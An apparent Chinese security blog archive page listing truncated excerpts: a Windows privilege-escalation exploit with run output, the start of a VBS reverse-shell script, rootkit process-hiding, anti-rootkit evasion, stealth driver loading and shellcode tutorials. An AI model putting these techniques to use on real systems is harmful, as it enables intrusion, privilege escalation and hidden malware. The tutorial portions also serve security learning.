改了個linux下的c代碼為windows版本
摘要:
Windows的C++沒有pthread_t類型,linux中有個pthread.h,很多站的VC代碼,都不知道從哪包含來的,shit
網上看到有一個叫 POSIX Threads for Win32 的開源項目給出了一個功能比較完善的Windows下pthreads API的實現。
閱讀全文
將Win32 C/C++應用程序遷移到Linux-進程、線程和共享內存(ZT)
摘要:
本文的內容是 Win32 API(特別是進程、線程和共享內存服務)到 POWER 上 Linux 的映射。本文可以幫助您確定哪種映射服務最適合您的需要。作者向您詳細介紹了他在移植 Win32 C/C++ 應用程序時遇到的 API 映射。
閱讀全文
MS08-025 for win2k & win2k3
摘要: Win2k CN SP2 ,Win2k3 CN SP1下測試通過,其它未測試(不裝XP那種垃圾)
D:\>ms08025 whoami
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo
閱讀全文
用C++修改本地安全策略
摘要: 要寫個修改本地安全策略的工具,本以為修改注冊表就行了,沒想到還挺復雜,改策略,對應的注冊表項會變,倒過來,改對應的注冊表項,策略沒變,郁悶
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次數
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00,
閱讀全文
新手編譯驅動
摘要: 網上找了N多資料,說得我暈頭轉向的,都是TMD資深顧問級別的文章,最后簡單幾步也可以搞定,過程如下:
我的SDK本來就是裝好的,再裝個DDK,就是重裝系統,只要DDK目錄還在,重新指定下即可,不用重裝DDK
DDK目錄為: f:\WINDDK\3790.1830
以下以HelloWorld為例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
閱讀全文
簡單認識Anti-RootKit(ZT)
摘要: 現在RK(rootkit)和ARK(anti- rootkit)的斗爭已經進行了很久,在印象中最早出來的ARK工具是冰刃(IceSword),從冰刃開始出來到現在RK和ARK的斗爭一直在繼續,目前冰刃還是在流行當中,自己感覺也正是冰刃的出來才帶動了當前流行的RK和ARK的斗爭呵呵,現在很多病毒木馬已經廣泛的帶有驅動,使用一些RK的技術和方法使自己更底層些更強大些,當前流行的ARK工具主要包括:隱藏進程檢測,內核驅動檢測,SSDT檢測,代碼HOOK檢測,注冊表隱藏的檢測,隱藏文件的檢測等一些功能的,下面談談自己對一些功能的簡單愚見 嘻嘻。
..........
閱讀全文
無恥的驅動加載法(ZT)
摘要: 方法一: 替換win32k.sys
在2k3的系統下ZwSetSystemInformation禁止了用戶模式下加載驅動,只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個特點:
1. 注入SMSS.EXE
2. 打開SeLoadDriverPrivilege權限
3. 把原始的win32k.sys改名
4. 復制我們的驅動到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文
實例解析蠕蟲病毒的原理(ZT)
摘要: 一、蠕蟲病毒具有自我復制能力
我們以普通的VB腳本為例來看看:
JavaScript代碼
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創建一個文件系統對象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過文件系統對象的方法創建了一個TXT文件。
.....................
閱讀全文
軟件漏洞分析入門[初級shellcode_定位緩沖區](ZT)
摘要: 跟貼中看到已經有不少朋友成功的完成了前面的所有例題,今天我們在前面的基礎上,繼續深入。每一講我都會引入一些新的知識和技術,但只有一點點,因為我希望在您讀完貼之后就能立刻消化吸收,這是標準的循序漸進的案例式學習方法
另外在今天開始之前,我順便說一下后面的教學計劃:
我會再用3~4次的講座來闡述shellcode技術,確保大家能夠在比較簡單的漏洞場景下實現通用、穩定的溢出利用程序(exploit)
..........
閱讀全文
軟件漏洞分析入門[初級棧溢出D_植入任意代碼](ZT)
摘要: 麻雀雖小,五臟俱全
如果您順利的學完了前面4講的內容,并成功的完成了第2講和第4講中的實驗,那么今天請跟我來一起挑戰一下劫持有漏洞的進程,并向其植入惡意代碼的實驗,相信您成功完成這個實驗后,學習的興趣和自信心都會暴增。
開始之前,先簡要的回答一下前幾講跟貼中提出的問題
代碼編譯少頭文件問題:可能是個人習慣問題,哪怕幾行長的程序我也會丟到project里去build,而不是用cl,所以沒有注意細節。如果你們嫌麻煩,不如和我一樣用project來build,應該沒有問題的。否則的話,實驗用的程序實在太簡單了,這么一點小問題自己決絕吧。另外,看到幾個同學說為了實驗,專門恢復了古老的VC6.0,我也感動不已啊,呵呵。
...............
閱讀全文
軟件漏洞分析入門[初級棧溢出C_修改程序流程](ZT)
摘要: 上節課沒有操練滴東西,不少蠢蠢欲動的同學肯定已經坐不住了。悟空,不要猴急,下面的兩堂課都是實踐課,用來在實踐中深入體會上節課中的知識,并且很有趣味性哦
信息安全技術是一個對技術性要求極高的領域,除了扎實的計算機理論基礎外、更重要的是優秀的動手實踐能力。在我看來,不懂二進制就無從談起安全技術。
緩沖區溢出的概念我若干年前已經了然于胸,不就是淹個返回地址把CPU指到緩沖區的shellcode去么。然而當我開始動手實踐的時候,才發現實際中的情況遠遠比原理復雜。
................
閱讀全文
軟件漏洞分析入門[初級棧溢出B_系統棧原理](ZT)
摘要: 掃盲班第三講開課啦!
上節課我們用越過數組邊界的一個字節把鄰接的標志變量修改成0,從而突破了密碼驗證程序。您實驗成功了嗎?沒有的話回去做完實驗在來聽今天的課!
有幾個同學反映編譯器的問題,我還是建議用VC6.0,因為它build出來的PE最適合初學者領會概念。而且這門課動手很重要,基本上我的實驗指導都是按VC6.0來寫的,用別的build出來要是有點出入,實驗不成功的話會損失學習積極性滴——實驗獲得的成就感是學習最好的動力。
............
閱讀全文
軟件漏洞分析入門[初級棧溢出A_初識數組越界](ZT)
摘要: 本想來點大道理申明下研究思路啥的,看到大家的熱情期待,稍微調整一下講課的順序。從今天開始,將用3~4次給大家做一下棧溢出的掃盲。
棧溢出的文章網上還是有不少的(其實優秀的也就兩三篇),原理也不難,讀過基本上就能夠明白是怎么回事。本次講解將主要集中在動手調試方面,更加著重實踐。
經過這3~4次的棧溢出掃盲,我們的目標是:
領會棧溢出攻擊的基本原理
能夠動手調試簡易的棧溢出漏洞程序,并能夠利用漏洞執行任意代碼(最簡易的shellcode)
.............
閱讀全文
軟件漏洞分析入門[引子](ZT)
摘要: 您是否夢想過能夠像電影上演的那樣黑進任意一臺機器遠程操控?您的夢想是否曾經被書店里邊滿架子的反黑,防毒,擒木馬的掃盲書強暴的體無完膚?
從今天開始,準備陸續發一系列關于軟件漏洞方面基礎知識的帖子,包括軟件漏洞的研究價值,研究方法,堆棧利用的基礎知識,shellcode的調試方法,漏洞調試方法,漏洞分析,漏洞挖掘,軟件安全性測試等等,此外還將介紹一些metasploit架構和fuzz測試方面的入門知識。
軟件漏洞分析,利用,發掘是當今安全技術界中流砥柱級別話題,如果您關注過black hat或者defcon之類的頂級安全技術峰會的話,就知道我不是在吹牛了。可惜的是這方面的中文資料很少,偶爾有一篇比較優秀的文章但又不夠系統,目前為止也沒有形成像破解技術這樣的討論風氣,菜鳥們在黑燈瞎火的夜晚瞎折騰,沒有交流和指導,興趣就像被拔了氣彌兒芯的車胎,很快就泄氣了。
雖然漏洞分析與利用與破解在技術上各有側重點,但逆向基礎是共同的。以我個人的經驗,能做crack的朋友只要稍加進修就能入門。就算沒有任何匯編基礎和逆向經驗的朋友也不用擔心,因為這
閱讀全文
對 Hook 內核ntoskrnl'sZwQuerySystemInformation隱藏任務管理器進程名 的一點完善(ZT)
摘要: 通過hook ssdt中的ZwQuerySystemInformation來實現隱藏進程已經是很老的技術了。
qiweixue 在他的文章里面寫的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不過他的文章里面,進程名字是直接寫死的,不能通過三層進行傳遞,而且得到ZwQuerySystemInformation是通過匯編的方法,這樣在其他系統上可能會有問題,所以我做了一些改善如下:
1 通過應用程序將進程名字傳遞進來,可以傳遞多個進程名字,格式為:qq.exe;taskmgr.exe;
2 通用的方法來得到ZwQuerySystemInformation的地址,不過這個方法都是從rookit上得來的。
...........
閱讀全文
讓EXE導出函數(ZT)
摘要: 偶然發現OllyDBG.exe導出了一堆函數,這些函數都是供其插件調用的。對這種體系結構很感
興趣,想弄清楚它的實現原理。后來又看到梁肇新的書《編程高手箴言》第278頁提到的調用
門,覺得都應該差不多。
三種不同的解決辦法(原理可能是一樣的,:)):
1)在導出函數聲明之前加上__declspec(dllexport)。例:
__declspec(dllexport) int Add(int a, int b);
__declspec(dllexport) int Sub(int a, int b);
__declspec(dllexport) int Mul(int a, int b);
__declspec(dllexport) int Div(int a, int b);
..........
閱讀全文
icesword 驅動部分分析(ZT)
摘要: icesword.exe 在執行的時候會放出一個驅動程序 ispubdrv.sys .
icesword.exe 裝載 這個驅動,這個驅動安裝后就不會卸載。直到系統重新啟動。這可能是因為驅動中調用了
PsSetCreateThreadNotifyRoutine 函數.下面是這個函數在 ddk 中的介紹。
........
閱讀全文
利用偽造內核文件來繞過IceSword的檢測(ZT)
摘要: 一、為什么需要偽造內核:
IceSword(以下簡稱IS)為了防止一些關鍵系統函數(包括所有服務中斷表中的函數以及IS驅動部分要使用到的一些關鍵函數)被 patch,它直接讀取內核文件(以下簡稱“ntoskrnl.exe”),然后自己分析ntoskrnl.exe 的PE結構來獲取關鍵系統函數的原始代碼并且把當前內核中所有的關鍵系統函數還原為windows默認狀態,這樣保證了IS使用到的函數不被patch 過。也許你會想如果我們把還原后的函數再進行patch不還是能躲的過去嗎?筆者也試過
.....................
閱讀全文
WIN下獲取kernel基址的shellcode探討(ZT)
摘要: [經典溢出攻擊流程]
———————————
1. 查找Kernel32.dll基地址;
2. 查找GetProcAddress()函數地址;
3. 查找其它API函數地址;
4. CreateProcess();
5. 遠程連接。
我們都知道WINDOWS的系統功能不像UNIX的系統調用那樣實現,由于WINDOWS版本的不斷更新,使得系統調用對SHELLCODE幾乎起不到作用。
但是WINDOWS是靠DLL動態鏈接庫來實現,這就是說,如果能從KERNEL32.DLL中獲取LoadLibrary()和GetProcAddress()函數的地址,我們就可以調用WINDOWS下的所有函數了。
所以我們需要對KERNEL32.DLL進行地址定位,這也是本文的目的。
................
閱讀全文
SEH源碼賞析之C篇(ZT)
摘要:
1.起因
C++程序員對try,catch,throw都應該很熟悉,能知道VC怎么實現它的人就不多了,不過網絡世界使很多人知道了它與SEH (structured exception handling)有密切關系,我也不例外,也是在若干年前從網絡知道了SEH,并且大致也知道SEH的流程.但是和多數人一樣在我的實踐也很少直接使用 SEH,對SEH也就僅限于網絡上一些文章的介紹.曾經在用Windbg對某些軟件作分析,我遇到了斷點失效的情況,查找資料介紹是SEH中的 Handler清除了調試寄存器,在分析.....................
閱讀全文
饒過現代Anti-Rookit工具的內核模塊掃描(ZT)
摘要: 本文描述了一些方法,可以饒過目前主流的現代Anti-rootkit工具,包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
閱讀全文
TCP版backshell的VBS腳本
摘要: '搞一個特殊的站準備用的,沒想到,等寫完了,洞補上了,郁悶
'by 009, baicker@hotmail.com
'date:071221
Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................
閱讀全文
在同一個進程空間運行兩個程序(ZT)
摘要:
眾所周知,bo2k可以在一個指定的進程空間(比如explorer.exe進程)做為一個線程運行。本文試圖找出一種方法,使得任意exe都可以在其他進程中以線程運行(當然,這里說的"任意"是有條件的,下面會講到)。
為行文簡單起見,我把先加載的exe稱為宿主,后加載的exe稱為客戶。對于上面的例子,explorer.exe為宿主,bo2k.exe為客戶。
基本知識
每一個exe都有一個缺省加載基址,一般都是0x400000。如果實際加載基址和缺省基址相同,程序中的重定位表就不需要修正(fixup),否則,就必須修正重定位表;
閱讀全文
Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3
摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 測試通過
之前的版本只能xp下用,這個2k3也可以了,其實前段時間朋友給過我一個這個漏洞的1day,但是朋友的東西不能亂發,這個是自己寫的,發出來大家惡心一下。
閱讀全文
VC編譯優化設置
摘要: VC- Project Setting-Debug-Project Option語法解釋
-優化-
/O1 最小化空間 minimize space
/Op[-] 改善浮點數一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 優選代碼空間 favor code space
/Oa 假設沒有別名 assume no aliasing
/Ot 優選代碼速度 favor code speed
/Ob 內聯展開(默認 n=0) inline expansion (default n=0)
/Ow 假設交叉函數別名 assume cross-function aliasing
/Od 禁用優化(默認值) disable optimizations (default)
/Ox 最大化選項。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 啟用全局優化
閱讀全文